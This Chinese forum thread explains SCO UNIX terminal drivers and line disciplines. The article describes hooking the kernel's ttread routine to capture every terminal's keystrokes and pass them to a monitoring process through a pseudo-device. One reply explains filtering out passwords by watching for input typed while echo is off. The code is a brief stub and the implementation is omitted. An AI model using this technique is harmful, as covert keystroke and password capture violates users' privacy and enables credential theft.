UNIX下的终端有三种类型：实终端，虚终端（TELNET等网络登陆），控制台终端他们分别有不同的设备驱动程序，因此如果通过修改设备驱动程序的方法来实现本文的目的的话，工作量至少是三倍。我们通过分析，无论是什么类型的终端，尽管他们的设备驱动程序各不相同，每一个硬（虚）设备接口都由特定的设备驱动程序支持。
1．设备驱动程序：
通常，设备驱动程序可以分为三个部分：（A）自动配置和初始化子程序，（B）服务于I/O请求的子程序（上半部分），（C）中断服务子程序（下半部分）。
2．对于实终端与控制台终端有实际的硬件设备驱动程序，虚终端是一个伪设备驱动程序，为了描述方便，我们都称之为硬件设备驱动程序，对应与（C）。另外一个概念是逻辑驱动程序（在这里的实例是TTY），对应与（B）。通常而言硬件设备驱动程序与逻辑设备驱动程序的接口一般是没有被标准化的，但是对于终端是个例外。UNIX中采用了线路规程的概念。一般的设备驱动程序的上下两部分是这样工作的：在输出是，上部分调用下部分的例程，在输入时，下部分调用山部分的例程，由于引入了线路规程，TTY设备驱动程序的上下两部分不在直接调用，而是上部分调用线路规程的上部分例程，下部分调用线路规程的下部分的例程。
二．线路规程
线路规程是用来在异步串口上（或者这种接口的软件仿真上）提供语义的处理模块，由过程接口linesw[](线路开关)结构来描述。线路规程的例程在UINX里是怎么被调用的呢？OSR5核心共有七组例程（可以扩充），他们通过在/etc/conf/pack.d/kernel/space.c中初始的linesw表来调用的，该表中每一项代表一个线路规程，有八个函数表项。大多数终端都缺省的使用来自于UNIX V7/UNIX 32V中提出的规程，在OSR5中也即使0号规程，对应与linesw表的第0项。（当然也可以是其他规程，只不过在这里只描述0号规程，其他的规程的修改基本原理是一样的）
如果整个替换线路规程的第0组的单项或全部实例（即linesw数组的实际值），显然会带来潜在的问题，因此我们只是把l_read的实际涵数ttread替换成ettread,在ettread结束时，再调用ttread：
var_type var_table&#59;/*自己定义的内核变量，用于保存从tty结构中获得的键入字符队列的指针*/
     int ettread(tty *tp)
     {
int i&#59;
myfun()&#59;       /*自己加入的变量和代码*/
    i=ttread(tp)&#59;
return(i)&#59;
     }
三．自定义的全局内核变量向用户进程的传递：
自己在程序中定义的变量如何向监控进程传递呢？原打算通过使用进程间通讯机制来实现，但是由于我们的增加程序是在核心中运行，所以调用系统调用能否正常工作不知道，而且会不会带来潜在的副作用更是不清楚，因此我决定放弃这种方法的尝试，而改用增加伪设备的方法，通过伪设备在监控进程和自编内核代码之间传递变量，即在监控进程中用通常的open(),read()系统调用来读取这些变量的值。
四．监控进程
五．数据结构的介绍
1．Linesw: 该结构的定义可参见/usr/include/sys/conf.h
2．Tty   : 该结构的定义可参见/usr/include/sys/tty
六．实现编程（略）
版权所有
-----------------------------------------------------------------------------
呵呵,思路基本差不多,只不过OSR5不支持动态加载模块功能,而且没有办法找到SYSENT,除非自己写连接程序,所以不好用修改系统调用的方法传递数据,而且用伪设备的方法也许可以避免系统的不稳定.

e4gle

sco我不太熟，以后多指教

void

good

hometown

ctrl C   +   ctrl V

求知若渴

very good!

づ★sl战神

大鹰，
你文章中说的这句能不能详细点？
“o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的&quotassive Analysis
of SSH (Secure Shell) Traffic&quot;文章中的一个小技术来实现的。当应用程序返回的
输入回显关闭的时候（就是echo -off)，就认为那是用户在输入密码，我们过滤下来
就是了：）”

痞菜

这个编译怎么不通？？怪了没什么明显错误就是不过

痞菜

[root@localhost test]# make
Makefile:23: *** missing separator.  Stop.


不明白了 这个是什么怎么弄的？？怪了

e4gle

下面引用由づ★sl战神在 2003/01/06 01:12am 发表的内容：
大鹰，
你文章中说的这句能不能详细点？
“o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的&quotassive Analysis
of SSH (Secure Shell) Traffic&quot;文章中的一个小技术来实现的。当 ...

这不是很简单么，shell语言里有个echo -off的句子，一般用在用户输入密码的时候，让密码不显示出来，所以我们的键盘钩子就捕获这个行为，一看见这个语句就认为后面的键盘输入就是用户密码，抓下来就得了